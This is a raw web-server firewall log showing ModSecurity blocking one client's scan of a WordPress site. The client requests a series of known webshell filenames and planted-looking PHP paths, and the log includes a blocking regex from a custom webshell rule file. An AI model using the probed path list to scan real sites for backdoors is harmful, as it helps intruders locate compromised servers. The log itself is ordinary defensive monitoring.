[Wed Feb 25 00:52:44.681590 2026] [:error] [pid 18850:tid 18868] [client 20.203.143.97:4717] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ3XXODBmHucoAJRnqniZAAAABA"]
[Wed Feb 25 00:52:45.410314 2026] [:error] [pid 26872:tid 26898] [client 20.203.143.97:4676] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ3XXXxLbzvRGuzwKjnEXAAAAFg"]
[Wed Feb 25 00:52:46.042857 2026] [:error] [pid 18850:tid 18860] [client 20.203.143.97:13549] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ3XXuDBmHucoAJRnqniZgAAAAg"]
[Wed Feb 25 00:52:46.585528 2026] [:error] [pid 18850:tid 18874] [client 20.203.143.97:10525] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aZ3XXuDBmHucoAJRnqniZwAAABY"]
[Wed Feb 25 00:52:47.131168 2026] [:error] [pid 18850:tid 18867] [client 20.203.143.97:16319] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aZ3XX-DBmHucoAJRnqniaQAAAA8"]
[Wed Feb 25 00:52:47.659556 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:10469] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aZ3XX3xLbzvRGuzwKjnEXwAAAFY"]
[Wed Feb 25 00:52:48.140228 2026] [:error] [pid 18441:tid 18726] [client 20.203.143.97:12826] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aZ3XYBYF1wpOnXIaHlOMmAAAANE"]
[Wed Feb 25 00:52:48.781135 2026] [:error] [pid 18850:tid 18856] [client 20.203.143.97:12804] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ3XYODBmHucoAJRnqnibwAAAAQ"]
[Wed Feb 25 00:52:49.506131 2026] [:error] [pid 18850:tid 18865] [client 20.203.143.97:10220] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ3XYeDBmHucoAJRnqnicgAAAA0"]
[Wed Feb 25 00:52:50.190238 2026] [:error] [pid 18458:tid 18818] [client 20.203.143.97:9813] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ3XYguir-tBe4tUisl0MwAAApc"]
[Wed Feb 25 00:52:51.401684 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:10530] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aZ3XY3xLbzvRGuzwKjnEYAAAAEA"]
[Wed Feb 25 00:52:55.381766 2026] [:error] [pid 26872:tid 26885] [client 20.203.143.97:11667] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZ3XZ3xLbzvRGuzwKjnEZAAAAEs"]
[Wed Feb 25 00:52:56.105679 2026] [:error] [pid 18850:tid 18861] [client 20.203.143.97:26895] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZ3XaODBmHucoAJRnqnigQAAAAk"]
[Wed Feb 25 00:52:57.555005 2026] [:error] [pid 26872:tid 26894] [client 20.203.143.97:20953] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZ3XaXxLbzvRGuzwKjnEZwAAAFQ"]
[Wed Feb 25 00:53:00.210586 2026] [:error] [pid 26872:tid 26893] [client 20.203.143.97:4799] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZ3XbHxLbzvRGuzwKjnEagAAAFM"]
[Wed Feb 25 00:53:02.904488 2026] [:error] [pid 18447:tid 18771] [client 20.203.143.97:10239] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZ3Xbs-TpHVc8yBj5eaj_QAAAgg"]
[Wed Feb 25 00:53:04.248806 2026] [:error] [pid 18850:tid 18870] [client 20.203.143.97:9831] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZ3XcODBmHucoAJRnqnilwAAABI"]
[Wed Feb 25 00:53:04.822247 2026] [:error] [pid 26872:tid 26888] [client 20.203.143.97:10458] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZ3XcHxLbzvRGuzwKjnEbwAAAE4"]
[Wed Feb 25 00:53:05.439363 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:20604] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZ3XcXxLbzvRGuzwKjnEcAAAAEU"]
[Wed Feb 25 00:53:06.097159 2026] [:error] [pid 26872:tid 26895] [client 20.203.143.97:23236] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aZ3XcnxLbzvRGuzwKjnEcgAAAFU"]
[Wed Feb 25 00:53:06.966284 2026] [:error] [pid 18458:tid 18802] [client 20.203.143.97:10458] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aZ3Xcguir-tBe4tUisl0OwAAAog"]
[Wed Feb 25 00:53:07.653441 2026] [:error] [pid 26872:tid 26887] [client 20.203.143.97:11681] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aZ3Xc3xLbzvRGuzwKjnEdwAAAE0"]
[Wed Feb 25 00:53:08.217668 2026] [:error] [pid 18850:tid 18852] [client 20.203.143.97:10528] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aZ3XdODBmHucoAJRnqnimQAAAAA"]
[Wed Feb 25 00:53:08.934456 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:10546] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aZ3XdHxLbzvRGuzwKjnEfgAAAEo"]
[Wed Feb 25 00:53:09.842081 2026] [:error] [pid 18441:tid 18721] [client 20.203.143.97:26908] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aZ3XdRYF1wpOnXIaHlOMnwAAAM0"]
[Wed Feb 25 00:53:12.097970 2026] [:error] [pid 18458:tid 18819] [client 20.203.143.97:23289] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aZ3XeAuir-tBe4tUisl0QAAAApg"]
[Wed Feb 25 00:53:13.435788 2026] [:error] [pid 18850:tid 18869] [client 20.203.143.97:4699] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aZ3XeeDBmHucoAJRnqninAAAABE"]
[Wed Feb 25 00:53:14.674985 2026] [:error] [pid 18441:tid 18719] [client 20.203.143.97:12491] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aZ3XehYF1wpOnXIaHlOMpQAAAMs"]
[Wed Feb 25 00:53:15.265542 2026] [:error] [pid 18441:tid 18725] [client 20.203.143.97:13265] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aZ3XexYF1wpOnXIaHlOMpgAAANA"]
[Wed Feb 25 00:53:16.397812 2026] [:error] [pid 26872:tid 26877] [client 20.203.143.97:26893] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aZ3XfHxLbzvRGuzwKjnEhgAAAEM"]
[Wed Feb 25 00:53:17.479050 2026] [:error] [pid 18441:tid 18718] [client 20.203.143.97:20945] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aZ3XfRYF1wpOnXIaHlOMpwAAAMo"]
[Wed Feb 25 00:53:19.003879 2026] [:error] [pid 18850:tid 18855] [client 20.203.143.97:14323] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aZ3Xf-DBmHucoAJRnqniogAAAAM"]
[Wed Feb 25 00:53:21.689029 2026] [:error] [pid 26872:tid 26891] [client 20.203.143.97:11314] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aZ3XgXxLbzvRGuzwKjnEkAAAAFE"]
[Wed Feb 25 00:53:24.301923 2026] [:error] [pid 18850:tid 18872] [client 20.203.143.97:26211] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aZ3XhODBmHucoAJRnqnipQAAABQ"]
[Wed Feb 25 00:53:29.717546 2026] [:error] [pid 18441:tid 18713] [client 20.203.143.97:13732] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aZ3XiRYF1wpOnXIaHlOMtgAAAMU"]
[Wed Feb 25 00:53:33.419753 2026] [:error] [pid 18850:tid 18852] [client 20.203.143.97:13758] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aZ3XjeDBmHucoAJRnqnirwAAAAA"]
[Wed Feb 25 00:53:37.578899 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:11290] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aZ3XkXxLbzvRGuzwKjnEmwAAAEI"]
[Wed Feb 25 00:55:44.631576 2026] [:error] [pid 18850:tid 18856] [client 20.203.143.97:4282] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aZ3YEODBmHucoAJRnqnjOgAAAAQ"]
[Wed Feb 25 00:55:46.024234 2026] [:error] [pid 18850:tid 18870] [client 20.203.143.97:12875] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aZ3YEuDBmHucoAJRnqnjPgAAABI"]
[Wed Feb 25 00:55:46.757982 2026] [:error] [pid 18458:tid 18796] [client 20.203.143.97:14312] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aZ3YEguir-tBe4tUisl05AAAAoM"]
[Wed Feb 25 00:55:47.830211 2026] [:error] [pid 18850:tid 18867] [client 20.203.143.97:14333] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aZ3YE-DBmHucoAJRnqnjQgAAAA8"]
[Wed Feb 25 00:55:48.635283 2026] [:error] [pid 18850:tid 18857] [client 20.203.143.97:8683] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2clas.php"] [unique_id "aZ3YFODBmHucoAJRnqnjRgAAAAU"]
[Wed Feb 25 00:55:49.380101 2026] [:error] [pid 26872:tid 26893] [client 20.203.143.97:10633] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2clas.php"] [unique_id "aZ3YFXxLbzvRGuzwKjnGSgAAAFM"]
[Wed Feb 25 00:55:49.923327 2026] [:error] [pid 18458:tid 18803] [client 20.203.143.97:13702] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2clas.php"] [unique_id "aZ3YFQuir-tBe4tUisl06QAAAok"]
[Wed Feb 25 00:55:50.641328 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:48152] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2clas.php"] [unique_id "aZ3YFnxLbzvRGuzwKjnGVAAAAEY"]
[Wed Feb 25 00:55:51.310506 2026] [:error] [pid 26872:tid 26885] [client 20.203.143.97:48160] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ave.php"] [unique_id "aZ3YF3xLbzvRGuzwKjnGWQAAAEs"]
[Wed Feb 25 00:55:51.826518 2026] [:error] [pid 26872:tid 26893] [client 20.203.143.97:12871] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ave.php"] [unique_id "aZ3YF3xLbzvRGuzwKjnGXgAAAFM"]
[Wed Feb 25 00:55:52.355837 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:11315] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ave.php"] [unique_id "aZ3YGHxLbzvRGuzwKjnGYQAAAEI"]
[Wed Feb 25 00:55:53.063660 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:25605] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ave.php"] [unique_id "aZ3YGXxLbzvRGuzwKjnGZgAAAEY"]
[Wed Feb 25 00:55:53.755447 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:12866] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aZ3YGXxLbzvRGuzwKjnGawAAAEU"]
[Wed Feb 25 00:55:54.596431 2026] [:error] [pid 18850:tid 18857] [client 20.203.143.97:13710] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aZ3YGuDBmHucoAJRnqnjUgAAAAU"]
[Wed Feb 25 00:55:55.290810 2026] [:error] [pid 18458:tid 18798] [client 20.203.143.97:22786] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aZ3YGwuir-tBe4tUisl08AAAAoQ"]
[Wed Feb 25 00:55:55.945518 2026] [:error] [pid 26872:tid 26875] [client 20.203.143.97:11611] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aZ3YG3xLbzvRGuzwKjnGewAAAEE"]
[Wed Feb 25 00:55:56.535869 2026] [:error] [pid 18441:tid 18712] [client 20.203.143.97:26965] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bibil.php"] [unique_id "aZ3YHBYF1wpOnXIaHlONFQAAAMQ"]
[Wed Feb 25 00:55:57.418743 2026] [:error] [pid 18850:tid 18853] [client 20.203.143.97:48165] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bibil.php"] [unique_id "aZ3YHeDBmHucoAJRnqnjWAAAAAE"]
